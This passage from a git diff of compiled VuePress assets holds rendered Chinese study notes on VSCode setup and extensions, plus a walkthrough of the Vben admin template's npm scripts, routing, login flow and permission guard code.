`,7);function ye(qe,fe){const a=o("ExternalLinkIcon"),r=o("Tabs");return d(),u("div",null,[h,g,b,e("blockquote",null,[e("p",null,[e("a",v,[n("VsCode 下载,使用国内镜像秒下载_bielaiwuyang1999 的博客-CSDN 博客"),s(a)])])]),e("p",null,[e("a",k,[n("官网下载 VSCode"),s(a)]),n(" 速度比较慢, 可以在下载时将直链替换国内镜像地址, 以达到更快的下载速度.")]),_,s(r,{id:"35",data:[{id:"ubuntu"}],active:0},{title0:i(({value:p,isActive:c})=>[n("ubuntu")]),tab0:i(({value:p,isActive:c})=>[y,e("blockquote",null,[e("p",null,[n("ps: 下载链接请参阅 "),e("a",q,[n("官网"),s(a)]),f,n(" 直接 "),x,n(" 可能会报权限不够的问题,先 "),D,n(" 似乎不会")])]),E,S,C,N]),_:1}),w,R,A,e("blockquote",null,[e("p",null,[e("a",P,[n("VS Code 正则匹配替换 - 知乎 (zhihu.com)"),s(a)])]),T]),B,e("blockquote",null,[e("p",null,[e("a",V,[n("Visual Studio Code 中的代码片段"),s(a)])])]),L,e("blockquote",null,[e("p",null,[e("a",U,[n("配置字段 · OBKoro1/koro1FileHeader Wiki (github.com)"),s(a)])]),e("p",null,[e("a",$,[n("安装和快速上手 · OBKoro1/koro1FileHeader Wiki (github.com)"),s(a)])])]),M,e("blockquote",null,[e("p",null,[n("更多关于函数参数自动请查阅"),e("a",O,[n("配置-函数注释自动提取函数的参数"),s(a)]),n("文档")])]),F,e("blockquote",null,[e("p",null,[e("a",H,[n("microsoft/codetour: VS Code extension that allows you to record and play back guided tours of codebases, directly within the editor. (github.com)"),s(a)])]),j]),I,e("p",null,[n("使用 "),e("a",z,[n("Remote-SSH 链接远程主机"),s(a)])]),K,e("blockquote",null,[e("p",null,[e("a",Q,[n("解决:vscode-remote-ssh 远程连接后 rg 进程占用 CPU 问题_vscode远程开发长时间不关闭导致资源被严重占用_sigmarising的博客-CSDN博客"),s(a)])])]),W,e("blockquote",null,[e("p",null,[n("实际上查看 curlconverter 扩展页面可以看到最下面有说受限于 VSCode, 该扩展可能比起官网的版本要老很多, 所以当认为该扩展不太好使时可以去其官网 "),e("a",Y,[n("Convert curl commands to code (curlconverter.com)"),s(a)]),n(" 试试")]),J]),Z,G,e("blockquote",null,[e("p",null,[e("a",X,[n("(95) I Don't Need Postman Anymore!! I Use VS Code Instead... - YouTube"),s(a)])])]),ee,e("blockquote",null,[e("p",null,[e("a",ne,[n("Sourcery Documentation"),s(a)])])]),se,e("blockquote",null,[e("p",null,[e("a",ae,[n("Prettier · Opinionated Code Formatter"),s(a)])]),e("p",null,[e("a",te,[n("Prettier 文档"),s(a)])]),e("p",null,[e("a",oe,[n("Prettier Playground v2.6.2"),s(a)])]),e("p",null,[e("a",ie,[n("ESLint - Pluggable JavaScript linter - ESLint 中文"),s(a)])])]),re,e("blockquote",null,[e("p",null,[e("a",pe,[n("git Missing or invalid credentials. · Issue #107024 · microsoft/vscode (github.com)"),s(a)])])]),ce,le,de,ue,e("blockquote",null,[e("p",null,[e("a",me,[n("vscode ssh 连接失败_我歌月徘徊、的博客-CSDN 博客_vscode 连不上 ssh"),s(a)])]),he]),ge,e("blockquote",null,[e("p",null,[e("a",be,[n("visual studio code - VSCode Remote SSH Extension + tmux = -bash: __vsc_prompt_cmd_original: command not found - Stack Overflow"),s(a)])]),e("p",null,[e("a",ve,[n('Avoid "-bash: __vsc_prompt_cmd_original: command not found" when launching Terminal from Python in macOS - Stack Overflow'),s(a)])]),ke]),_e])}const Ee=l(m,[["render",ye],["__file","VSCode.html.vue"]]);export{Ee as default};
diff --git a/assets/VSCode.html-48f1ae02.js b/assets/VSCode.html-48f1ae02.js
new file mode 100644
index 0000000000..242d74feea
--- /dev/null
+++ b/assets/VSCode.html-48f1ae02.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-068dc63e","path":"/%E9%80%9A%E8%AF%86/VSCode.html","title":"VSCode","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"VSCode 下载","slug":"vscode-下载","link":"#vscode-下载","children":[]},{"level":2,"title":"安装","slug":"安装","link":"#安装","children":[]},{"level":2,"title":"查找替换","slug":"查找替换","link":"#查找替换","children":[{"level":3,"title":"使用正则表达式","slug":"使用正则表达式","link":"#使用正则表达式","children":[]}]},{"level":2,"title":"用户代码片段","slug":"用户代码片段","link":"#用户代码片段","children":[{"level":3,"title":"自用代码片段 stash","slug":"自用代码片段-stash","link":"#自用代码片段-stash","children":[]},{"level":3,"title":"KoroFileHeader","slug":"korofileheader","link":"#korofileheader","children":[]}]},{"level":2,"title":"扩展食用记录","slug":"扩展食用记录","link":"#扩展食用记录","children":[{"level":3,"title":"基础使用","slug":"基础使用","link":"#基础使用","children":[]},{"level":3,"title":"Drawio Preview","slug":"drawio-preview","link":"#drawio-preview","children":[]},{"level":3,"title":"CodeTour","slug":"codetour","link":"#codetour","children":[]},{"level":3,"title":"Markdown 相关","slug":"markdown-相关","link":"#markdown-相关","children":[]},{"level":3,"title":"远程开发","slug":"远程开发","link":"#远程开发","children":[]},{"level":3,"title":"网络相关","slug":"网络相关","link":"#网络相关","children":[]},{"level":3,"title":"编程相关","slug":"编程相关","link":"#编程相关","children":[]},{"level":3,"title":"已弃用扩展","slug":"已弃用扩展","link":"#已弃用扩展","children":[]}]},{"level":2,"title":"报错收集","slug":"报错收集","link":"#报错收集","children":[{"level":3,"title":"git Missing or invalid credentials.","slug":"git-missing-or-invalid-credentials","link":"#git-missing-or-invalid-credentials","children":[]},{"level":3,"title":"remote-ssh 一直 waiting for server log","slug":"remote-ssh-一直-waiting-for-server-log","link":"#remote-ssh-一直-waiting-for-server-log","children":[]},{"level":3,"title":"Remote-SSH + tmux 每次 bash 命令执行完都会有红色报错 ``-bash: __vsc_prompt_cmd_original: command not found`","slug":"remote-ssh-tmux-每次-bash-命令执行完都会有红色报错-bash-vsc-prompt-cmd-original-command-not-found","link":"#remote-ssh-tmux-每次-bash-命令执行完都会有红色报错-bash-vsc-prompt-cmd-original-command-not-found","children":[]}]}],"git":{"createdTime":1667838946000,"updatedTime":1695046994000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":7},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":4},{"name":"233Official","email":"ayusummr233@gmail.com","commits":3},{"name":"233Laptop","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":10.3,"words":3089},"filePathRelative":"通识/VSCode.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data};
diff --git a/assets/Vben.html-d4798c5b.js b/assets/Vben.html-d4798c5b.js
new file mode 100644
index 0000000000..cba3a296dc
--- /dev/null
+++ b/assets/Vben.html-d4798c5b.js
@@ -0,0 +1 @@
+const l=JSON.parse('{"key":"v-6fc48b00","path":"/%E5%89%8D%E7%AB%AF/VUE/Vben.html","title":"Vben","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"项目地址","slug":"项目地址","link":"#项目地址","children":[]},{"level":2,"title":"项目文档","slug":"项目文档","link":"#项目文档","children":[]},{"level":2,"title":"开始","slug":"开始","link":"#开始","children":[{"level":3,"title":"环境","slug":"环境","link":"#环境","children":[]},{"level":3,"title":"npm Script","slug":"npm-script","link":"#npm-script","children":[]},{"level":3,"title":"目录说明","slug":"目录说明","link":"#目录说明","children":[]}]},{"level":2,"title":"项目配置","slug":"项目配置","link":"#项目配置","children":[]},{"level":2,"title":"项目规范","slug":"项目规范","link":"#项目规范","children":[{"level":3,"title":"CommitLint","slug":"commitlint","link":"#commitlint","children":[]}]},{"level":2,"title":"后端路由接入","slug":"后端路由接入","link":"#后端路由接入","children":[{"level":3,"title":"配置文件中修改权限模式为 BACK","slug":"配置文件中修改权限模式为-back","link":"#配置文件中修改权限模式为-back","children":[]},{"level":3,"title":"后端接口返回路由表","slug":"后端接口返回路由表","link":"#后端接口返回路由表","children":[]},{"level":3,"title":"数据库修改","slug":"数据库修改","link":"#数据库修改","children":[]}]},{"level":2,"title":"深入理解之路由、菜单、权限的设计","slug":"深入理解之路由、菜单、权限的设计","link":"#深入理解之路由、菜单、权限的设计","children":[{"level":3,"title":"mark","slug":"mark","link":"#mark","children":[]},{"level":3,"title":"项目初始化","slug":"项目初始化","link":"#项目初始化","children":[]},{"level":3,"title":"路由配置","slug":"路由配置","link":"#路由配置","children":[]},{"level":3,"title":"登录主体流程","slug":"登录主体流程","link":"#登录主体流程","children":[]},{"level":3,"title":"获取用户信息","slug":"获取用户信息","link":"#获取用户信息","children":[]},{"level":3,"title":"生成路由","slug":"生成路由","link":"#生成路由","children":[]},{"level":3,"title":"生成菜单","slug":"生成菜单","link":"#生成菜单","children":[]},{"level":3,"title":"路由守卫","slug":"路由守卫","link":"#路由守卫","children":[]}]},{"level":2,"title":"组件","slug":"组件","link":"#组件","children":[{"level":3,"title":"Table","slug":"table","link":"#table","children":[]}]},{"level":2,"title":"常见问题","slug":"常见问题-1","link":"#常见问题-1","children":[{"level":3,"title":"加载缓慢","slug":"加载缓慢","link":"#加载缓慢","children":[]},{"level":3,"title":"tab 页切换后页面空白","slug":"tab-页切换后页面空白","link":"#tab-页切换后页面空白","children":[]},{"level":3,"title":"404","slug":"_404","link":"#_404","children":[]}]},{"level":2,"title":"群内 QA","slug":"群内-qa","link":"#群内-qa","children":[]},{"level":2,"title":"源码阅读","slug":"源码阅读","link":"#源码阅读","children":[{"level":3,"title":"Login 业务","slug":"login-业务","link":"#login-业务","children":[]}]}],"git":{"createdTime":1667837365000,"updatedTime":1678441559000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":1},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":14.18,"words":4255},"filePathRelative":"前端/VUE/Vben.md","localizedDate":"2022年11月7日","excerpt":""}');export{l as data};
diff --git a/assets/Vben.html-e147366f.js b/assets/Vben.html-e147366f.js
new file mode 100644
index 0000000000..52488877b8
--- /dev/null
+++ b/assets/Vben.html-e147366f.js
@@ -0,0 +1,593 @@
+import{_ as p}from"./plugin-vue_export-helper-c27b6911.js";import{r as o,o as c,c as i,b as n,e as s,d as t,f as e}from"./app-880c6425.js";const l={},u=e(' Vben 项目地址 ',4),r={href:"https://github.com/vbenjs/vue-vben-admin",target:"_blank",rel:"noopener noreferrer"},k={href:"https://github.com/vbenjs/vben-admin-thin-next",target:"_blank",rel:"noopener noreferrer"},d={href:"https://github.com/vbenjs/vue-vben-admin-doc",target:"_blank",rel:"noopener noreferrer"},m=n("hr",null,null,-1),v=n("h2",{id:"项目文档",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#项目文档","aria-hidden":"true"},"#"),s(" 项目文档")],-1),b={href:"https://vvbin.cn/doc-next/",target:"_blank",rel:"noopener noreferrer"},h={href:"https://vvbin.cn/doc-next/guide/deploy.html",target:"_blank",rel:"noopener noreferrer"},g=e(' 开始 环境 Pnpm(6.32.4)
+ Node.js(16.14.2)
+ Git(2.36.0.windows.1)
VSCode 插件 ',6),f={href:"https://marketplace.visualstudio.com/items?itemName=antfu.iconify",target:"_blank",rel:"noopener noreferrer"},y={href:"https://marketplace.visualstudio.com/items?itemName=voorjaar.windicss-intellisense",target:"_blank",rel:"noopener noreferrer"},w={href:"https://marketplace.visualstudio.com/items?itemName=Lokalise.i18n-ally",target:"_blank",rel:"noopener noreferrer"},E={href:"https://marketplace.visualstudio.com/items?itemName=johnsoncodehk.volar",target:"_blank",rel:"noopener noreferrer"},A={href:"https://marketplace.visualstudio.com/items?itemName=dbaeumer.vscode-eslint",target:"_blank",rel:"noopener noreferrer"},_={href:"https://marketplace.visualstudio.com/items?itemName=esbenp.prettier-vscode",target:"_blank",rel:"noopener noreferrer"},R={href:"https://marketplace.visualstudio.com/items?itemName=stylelint.vscode-stylelint",target:"_blank",rel:"noopener noreferrer"},q={href:"https://marketplace.visualstudio.com/items?itemName=mikestead.dotenv",target:"_blank",rel:"noopener noreferrer"},B={href:"https://marketplace.visualstudio.com/items?itemName=naumovs.color-highlight",target:"_blank",rel:"noopener noreferrer"},x=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202204231155705.png",alt:"image-20220423115459335"})],-1),L=e(` npm Script "scripts" : {
+
+ "bootstrap" : "yarn install" ,
+
+ "serve" : "npm run dev" ,
+
+ "dev" : "vite" ,
+
+ "build" : "vite build && esno ./build/script/postBuild.ts" ,
+
+ "build:no-cache" : "yarn clean:cache && npm run build" ,
+
+ "report" : "cross-env REPORT=true npm run build" ,
+
+ "type:check" : "vue-tsc --noEmit --skipLibCheck" ,
+
+ "preview" : "npm run build && vite preview" ,
+
+ "preview:dist" : "vite preview" ,
+
+ "log" : "conventional-changelog -p angular -i CHANGELOG.md -s" ,
+
+ "clean:cache" : "rimraf node_modules/.cache/ && rimraf node_modules/.vite" ,
+
+ "clean:lib" : "rimraf node_modules" ,
+
+ "lint:eslint" : "eslint \\" {src,mock}/**/*.{vue,ts,tsx}\\" --fix" ,
+
+ "lint:prettier" : "prettier --write --loglevel warn \\" src/**/*.{js,json,tsx,css,less,scss,vue,html,md}\\" " ,
+
+ "lint:stylelint" : "stylelint --fix \\" **/*.{vue,less,postcss,css,scss}\\" --cache --cache-location node_modules/.cache/stylelint/" ,
+ "lint:lint-staged" : "lint-staged -c ./.husky/lintstagedrc.js" ,
+ "lint:pretty" : "pretty-quick --staged" ,
+
+ "test:gzip" : "http-server dist --cors --gzip -c-1" ,
+
+ "test:br" : "http-server dist --cors --brotli -c-1" ,
+
+ "reinstall" : "rimraf yarn.lock && rimraf package.lock.json && rimraf node_modules && npm run bootstrap" ,
+ "install:husky" : "is-ci || husky install" ,
+
+ "gen:icon" : "esno ./build/generate/icon/index.ts" ,
+ "postinstall" : "npm run install:husky"
+}
+
`,3),P=n("code",null,"生成图标集",-1),I={href:"https://vvbin.cn/doc-next/dep/icon.html#%E5%9B%BE%E6%A0%87%E9%9B%86%E9%A2%84%E7%94%9F%E6%88%90",target:"_blank",rel:"noopener noreferrer"},S=n("li",null,[n("p",null,[n("code",null,"重新安装依赖"),s(":")]),n("p",null,[s("该命令会先删除 "),n("code",null,"node_modules"),s("、"),n("code",null,"yarn.lock"),s("、"),n("code",null,"package.lock.json"),s(" 后再进行依赖重新安装(安装速度会明显变慢)。")]),n("p",null,"接下来你可以修改代码进行业务开发了。我们内建了模拟数据、HMR 实时预览、状态管理、国际化、全局路由等各种实用的功能辅助开发,请阅读其他章节了解更多。")],-1),M=e(` 目录说明 .
+├── build
+│ ├── config
+│ ├── generate
+│ ├── script
+│ └── vite
+├── mock
+├── public
+├── src
+│ ├── api
+│ ├── assets
+│ │ ├── icons
+│ │ ├── images
+│ │ └── svg
+│ ├── components
+│ ├── design
+│ ├── directives
+│ ├── enums
+│ ├── hooks
+│ │ ├── component
+│ │ ├── core
+│ │ ├── event
+│ │ ├── setting
+│ │ └── web
+│ ├── layouts
+│ │ ├── default
+│ │ ├── iframe
+│ │ └── page
+│ ├── locales
+│ ├── logics
+│ ├── main.ts
+│ ├── router
+│ ├── settings
+│ │ ├── componentSetting.ts
+│ │ ├── designSetting.ts
+│ │ ├── encryptionSetting.ts
+│ │ ├── localeSetting.ts
+│ │ ├── projectSetting.ts
+│ │ └── siteSetting.ts
+│ ├── store
+│ ├── utils
+│ └── views
+├── test
+│ └── server
+│ ├── api
+│ ├── upload
+│ └── websocket
+├── types
+├── vite.config.ts
+└── windi.config.ts
+
项目配置 用于修改项目的配色、布局、缓存、多语言、组件默认配置
项目规范 `,8),O={href:"https://vvbin.cn/doc-next/dep/lint.html",target:"_blank",rel:"noopener noreferrer"},T=e(' CommitLint commit-lint 的配置位于项目根目录下 commitlint.config.js
后端路由接入 配置文件中修改权限模式为 BACK ',7),U={href:"https://github.com/vbenjs/vue-vben-admin/tree/main/src/settings/projectSetting.ts",target:"_blank",rel:"noopener noreferrer"},D=e('将系统内权限模式改为 BACK
模式开启权限由后台动态获取
后台返回角色, 前端根据返回结果显示界面等
配置改完后要清缓存:
最基本的静态路由存放在 src/router/routes/index.ts
中, 包含根路由以及登录页面
原本前端路由情况下登入操作的请求及响应如下:
后端接口返回路由表 切换后端路由后登录操作请求资源如下:
login
:
getUserInfo
:
登陆成功获取 权限码(PermCode
, 菜单(MenuList)
getPermCode
:
getMenuList
:
以及一个图标请求:
不过这个请求明显是发往站外的, 就不用写了
重点说说 MenuList
:
在 .env.development
中关掉 mock
后再删除缓存放回登录页面登录, 那么就会
这个请求地址和之前一致, 那么可以保留 mock, 然后用转发慢慢联调(
数据库修改 在数据库中新建一个 router
表
字段根据上面的 menuList
设置:
后续内容未完成, go 接触的不多且当前时间比较紧, 打算自己嗯用 FastAPI 搓
深入理解之路由、菜单、权限的设计 ',57),F={href:"https://juejin.cn/post/7001851383607459848",target:"_blank",rel:"noopener noreferrer"},N=e(` mark 路由是怎么自动加载并生成菜单的? 菜单权限模式分别有什么不同,怎么做的区分和处理? 权限的认证流程和初始化是怎么完成的? 项目初始化 src/main.ts
async function bootstrap ( ) {
+ const app = createApp ( App) ;
+
+
+
+ setupStore ( app) ;
+
+
+
+ initAppConfigStore ( ) ;
+
+
+
+ registerGlobComp ( app) ;
+
+
+
+
+ await setupI18n ( app) ;
+
+
+
+ setupRouter ( app) ;
+
+
+
+ setupRouterGuard ( router) ;
+
+
+
+ setupGlobDirectives ( app) ;
+
+
+
+ setupErrorHandle ( app) ;
+
+
+
+
+ app. mount ( '#app' ) ;
+}
+
路由配置 实现自动加载 modules
下的路由文件并生成路由配置信息和一些通用的配置。
src/router/routes/index.ts
:
import type { AppRouteRecordRaw, AppRouteModule } from '/@/router/types' ;
+
+import { PAGE_NOT_FOUND_ROUTE , REDIRECT_ROUTE } from '/@/router/routes/basic' ;
+
+import { mainOutRoutes } from './mainOut' ;
+import { PageEnum } from '/@/enums/pageEnum' ;
+import { t } from '/@/hooks/web/useI18n' ;
+
+
+const modules = import . meta. globEager ( './modules/**/*.ts' ) ;
+
+const routeModuleList: AppRouteModule[ ] = [ ] ;
+
+Object. keys ( modules) . forEach ( ( key) => {
+ const mod = modules[ key] . default || { } ;
+ const modList = Array . isArray ( mod) ? [ ... mod] : [ mod] ;
+ routeModuleList. push ( ... modList) ;
+} ) ;
+
+
+export const asyncRoutes = [ PAGE_NOT_FOUND_ROUTE , ... routeModuleList] ;
+
+export const RootRoute: AppRouteRecordRaw = {
+ path: '/' ,
+ name: 'Root' ,
+ redirect: PageEnum. BASE_HOME ,
+ meta: {
+ title: 'Root' ,
+ } ,
+} ;
+
+export const LoginRoute: AppRouteRecordRaw = {
+ path: '/login' ,
+ name: 'Login' ,
+ component : ( ) => import ( '/@/views/sys/login/Login.vue' ) ,
+ meta: {
+ title: t ( 'routes.basic.login' ) ,
+ } ,
+} ;
+
+
+export const basicRoutes = [
+
+ LoginRoute,
+
+ RootRoute,
+
+ ... mainOutRoutes,
+
+ REDIRECT_ROUTE ,
+
+ PAGE_NOT_FOUND_ROUTE ,
+] ;
+
+
登录主体流程 点击登录获取用户信息,存储使用的 pinia
实现。
src\\views\\sys\\login\\LoginForm.vue
:
+const userInfo = await userStore. login ( {
+ password: data. password,
+ username: data. account,
+ mode: 'none' ,
+} ) ;
+
src\\store\\modules\\user.ts
:
+ async login (
+ params: LoginParams & {
+ goHome? : boolean ;
+ mode? : ErrorMessageMode;
+ } ,
+ ) : Promise < GetUserInfoModel | null > {
+ try {
+ const { goHome = true , mode, ... loginParams } = params;
+
+ const data = await loginApi ( loginParams, mode) ;
+ const { token } = data;
+
+
+
+ this . setToken ( token) ;
+ return this . afterLoginAction ( goHome) ;
+ } catch ( error) {
+ return Promise . reject ( error) ;
+ }
+ } ,
+ async afterLoginAction ( goHome? : boolean ) : Promise < GetUserInfoModel | null > {
+ if ( ! this . getToken) return null ;
+
+
+ const userInfo = await this . getUserInfoAction ( ) ;
+
+ const sessionTimeout = this . sessionTimeout;
+ if ( sessionTimeout) {
+ this . setSessionTimeout ( false ) ;
+ } else {
+ const permissionStore = usePermissionStore ( ) ;
+ if ( ! permissionStore. isDynamicAddedRoute) {
+
+ const routes = await permissionStore. buildRoutesAction ( ) ;
+ routes. forEach ( ( route) => {
+ router. addRoute ( route as unknown as RouteRecordRaw) ;
+ } ) ;
+ router. addRoute ( PAGE_NOT_FOUND_ROUTE as unknown as RouteRecordRaw) ;
+ permissionStore. setDynamicAddedRoute ( true ) ;
+ }
+ goHome && ( await router. replace ( userInfo?. homePath || PageEnum. BASE_HOME ) ) ;
+ }
+ return userInfo;
+ } ,
+ async getUserInfoAction ( ) : Promise < UserInfo | null > {
+ if ( ! this . getToken) return null ;
+ const userInfo = await getUserInfo ( ) ;
+ const { roles = [ ] } = userInfo;
+ if ( isArray ( roles) ) {
+ const roleList = roles. map ( ( item) => item. value) as RoleEnum[ ] ;
+ this . setRoleList ( roleList) ;
+ } else {
+ userInfo. roles = [ ] ;
+ this . setRoleList ( [ ] ) ;
+ }
+ this . setUserInfo ( userInfo) ;
+ return userInfo;
+ } ,
+
获取用户信息 src\\store\\modules\\user.ts
:
async getUserInfoAction ( ) : Promise < UserInfo | null > {
+ if ( ! this . getToken) return null ;
+ const userInfo = await getUserInfo ( ) ;
+ const { roles = [ ] } = userInfo;
+ if ( isArray ( roles) ) {
+ const roleList = roles. map ( ( item) => item. value) as RoleEnum[ ] ;
+
+ this . setRoleList ( roleList) ;
+ } else {
+ userInfo. roles = [ ] ;
+ this . setRoleList ( [ ] ) ;
+ }
+
+ this . setUserInfo ( userInfo) ;
+ return userInfo;
+ } ,
+
生成路由 登录成功之后调用 buildRoutesAction
获取路由配置、生成菜单配置。
src\\store\\modules\\permission.ts\\userPermissionStore/actions/buildRoutesAction()
:
async buildRoutesAction ( ) : Promise < AppRouteRecordRaw[ ] > {
+ const { t } = useI18n ( ) ;
+ const userStore = useUserStore ( ) ;
+ const appStore = useAppStoreWithOut ( ) ;
+
+ let routes: AppRouteRecordRaw[ ] = [ ] ;
+ const roleList = toRaw ( userStore. getRoleList) || [ ] ;
+
+ const { permissionMode = projectSetting. permissionMode } = appStore. getProjectConfig;
+
+ const routeFilter = ( route: AppRouteRecordRaw) => {
+ const { meta } = route;
+ const { roles } = meta || { } ;
+ if ( ! roles) return true ;
+ return roleList. some ( ( role) => roles. includes ( role) ) ;
+ } ;
+
+ const routeRemoveIgnoreFilter = ( route: AppRouteRecordRaw) => {
+ const { meta } = route;
+ const { ignoreRoute } = meta || { } ;
+ return ! ignoreRoute;
+ } ;
+
+
+ const patchHomeAffix = ( routes: AppRouteRecordRaw[ ] ) => {
+ if ( ! routes || routes. length === 0 ) return ;
+ let homePath: string = userStore. getUserInfo. homePath || PageEnum. BASE_HOME ;
+ function patcher ( routes: AppRouteRecordRaw[ ] , parentPath = '' ) {
+ if ( parentPath) parentPath = parentPath + '/' ;
+ routes. forEach ( ( route: AppRouteRecordRaw) => {
+ const { path, children, redirect } = route;
+ const currentPath = path. startsWith ( '/' ) ? path : parentPath + path;
+ if ( currentPath === homePath) {
+ if ( redirect) {
+ homePath = route. redirect! as string ;
+ } else {
+ route. meta = Object. assign ( { } , route. meta, { affix: true } ) ;
+ throw new Error ( 'end' ) ;
+ }
+ }
+ children && children. length > 0 && patcher ( children, currentPath) ;
+ } ) ;
+ }
+ try {
+ patcher ( routes) ;
+ } catch ( e) {
+
+ }
+ return ;
+ } ;
+
+ switch ( permissionMode) {
+
+ case PermissionModeEnum. ROLE :
+
+ routes = filter ( asyncRoutes, routeFilter) ;
+ routes = routes. filter ( routeFilter) ;
+
+
+ routes = flatMultiLevelRoutes ( routes) ;
+ break ;
+
+
+ case PermissionModeEnum. ROUTE_MAPPING :
+
+ routes = filter ( asyncRoutes, routeFilter) ;
+ routes = routes. filter ( routeFilter) ;
+
+ const menuList = transformRouteToMenu ( routes, true ) ;
+ routes = filter ( routes, routeRemoveIgnoreFilter) ;
+ routes = routes. filter ( routeRemoveIgnoreFilter) ;
+ menuList. sort ( ( a, b) => {
+ return ( a. meta?. orderNo || 0 ) - ( b. meta?. orderNo || 0 ) ;
+ } ) ;
+
+
+ this . setFrontMenuList ( menuList) ;
+
+
+ routes = flatMultiLevelRoutes ( routes) ;
+ break ;
+
+
+
+ case PermissionModeEnum. BACK :
+ const { createMessage } = useMessage ( ) ;
+
+ createMessage. loading ( {
+ content: t ( 'sys.app.menuLoading' ) ,
+ duration: 1 ,
+ } ) ;
+
+
+
+
+ let routeList: AppRouteRecordRaw[ ] = [ ] ;
+ try {
+ this . changePermissionCode ( ) ;
+ routeList = ( await getMenuList ( ) ) as AppRouteRecordRaw[ ] ;
+ } catch ( error) {
+ console . error ( error) ;
+ }
+
+
+ routeList = transformObjToRoute ( routeList) ;
+
+
+
+ const backMenuList = transformRouteToMenu ( routeList) ;
+
+ this . setBackMenuList ( backMenuList) ;
+
+
+ routeList = filter ( routeList, routeRemoveIgnoreFilter) ;
+ routeList = routeList. filter ( routeRemoveIgnoreFilter) ;
+
+
+ routeList = flatMultiLevelRoutes ( routeList) ;
+ routes = [ PAGE_NOT_FOUND_ROUTE , ... routeList] ;
+ break ;
+ }
+
+ routes. push ( ERROR_LOG_ROUTE ) ;
+ patchHomeAffix ( routes) ;
+ return routes;
+ } ,
+
生成菜单 根据不同的权限模式从不同的数据源获取菜单。
src\\router\\menus\\index.ts
:
+const modules = import . meta. globEager ( './modules/**/*.ts' ) ;
+
+async function getAsyncMenus ( ) {
+ const permissionStore = usePermissionStore ( ) ;
+
+ if ( isBackMode ( ) ) {
+
+ return permissionStore. getBackMenuList. filter ( ( item) => ! item. meta?. hideMenu && ! item. hideMenu) ;
+ }
+
+ if ( isRouteMappingMode ( ) ) {
+
+ return permissionStore. getFrontMenuList. filter ( ( item) => ! item. hideMenu) ;
+ }
+
+ return staticMenus;
+}
+
在菜单组件中获取菜单配置渲染。
src\\layouts\\default\\menu\\index.vue\\scrupt\\default\\setup\\renderMenu()
:
+ function renderMenu ( ) {
+ const { menus, ... menuProps } = unref ( getCommonProps) ;
+
+ if ( ! menus || ! menus. length) return null ;
+ return ! props. isHorizontal ? (
+ < SimpleMenu { ... menuProps} isSplitMenu= { unref ( getSplit) } items= { menus} / >
+ ) : (
+ < BasicMenu
+ { ... ( menuProps as any ) }
+ isHorizontal= { props. isHorizontal}
+ type= { unref ( getMenuType) }
+ showLogo= { unref ( getIsShowLogo) }
+ mode= { unref ( getComputedMenuMode as any ) }
+ items= { menus}
+ / >
+ ) ;
+ }
+
路由守卫 判断是否登录以及刷新之后的初始化。
src\\router\\guard\\permissionGuard.ts
:
+export function createPermissionGuard ( router: Router) {
+ const userStore = useUserStoreWithOut ( ) ;
+ const permissionStore = usePermissionStoreWithOut ( ) ;
+ router. beforeEach ( async ( to, from, next) => {
+ if (
+ from. path === ROOT_PATH &&
+ to. path === PageEnum. BASE_HOME &&
+ userStore. getUserInfo. homePath &&
+ userStore. getUserInfo. homePath !== PageEnum. BASE_HOME
+ ) {
+ next ( userStore. getUserInfo. homePath) ;
+ return ;
+ }
+
+ const token = userStore. getToken;
+
+
+
+ if ( whitePathList. includes ( to. path as PageEnum) ) {
+ if ( to. path === LOGIN_PATH && token) {
+ const isSessionTimeout = userStore. getSessionTimeout;
+ try {
+ await userStore. afterLoginAction ( ) ;
+ if ( ! isSessionTimeout) {
+ next ( ( to. query?. redirect as string ) || '/' ) ;
+ return ;
+ }
+ } catch { }
+ }
+ next ( ) ;
+ return ;
+ }
+
+
+
+ if ( ! token) {
+
+ if ( to. meta. ignoreAuth) {
+ next ( ) ;
+ return ;
+ }
+
+
+ const redirectData: { path: string ; replace: boolean ; query? : Recordable< string > } = {
+ path: LOGIN_PATH ,
+ replace: true ,
+ } ;
+ if ( to. path) {
+ redirectData. query = {
+ ... redirectData. query,
+ redirect: to. path,
+ } ;
+ }
+ next ( redirectData) ;
+ return ;
+ }
+
+
+
+ if (
+ from. path === LOGIN_PATH &&
+ to. name === PAGE_NOT_FOUND_ROUTE . name &&
+ to. fullPath !== ( userStore. getUserInfo. homePath || PageEnum. BASE_HOME )
+ ) {
+ next ( userStore. getUserInfo. homePath || PageEnum. BASE_HOME ) ;
+ return ;
+ }
+
+
+
+ if ( userStore. getLastUpdateTime === 0 ) {
+ try {
+ await userStore. getUserInfoAction ( ) ;
+ } catch ( err) {
+ next ( ) ;
+ return ;
+ }
+ }
+
+
+ if ( permissionStore. getIsDynamicAddedRoute) {
+ next ( ) ;
+ return ;
+ }
+
+ const routes = await permissionStore. buildRoutesAction ( ) ;
+
+ routes. forEach ( ( route) => {
+ router. addRoute ( route as unknown as RouteRecordRaw) ;
+ } ) ;
+
+ router. addRoute ( PAGE_NOT_FOUND_ROUTE as unknown as RouteRecordRaw) ;
+
+ permissionStore. setDynamicAddedRoute ( true ) ;
+
+ if ( to. name === PAGE_NOT_FOUND_ROUTE . name) {
+
+ next ( { path: to. fullPath, replace: true , query: to. query } ) ;
+ } else {
+ const redirectPath = ( from. query. redirect || to. path) as string ;
+ const redirect = decodeURIComponent ( redirectPath) ;
+ const nextData = to. path === redirect ? { ... to, replace: true } : { path: redirect } ;
+ next ( nextData) ;
+ }
+ } ) ;
+}
+
+
组件 Table 常见问题 表格类属性超过长度时换行显示 设置 useTable
的 ellipsis
属性为 false
即可:
常见问题 加载缓慢 项目运行后第一次加载会加载所有的包, 因此比较慢, 后面热更新就比较快了
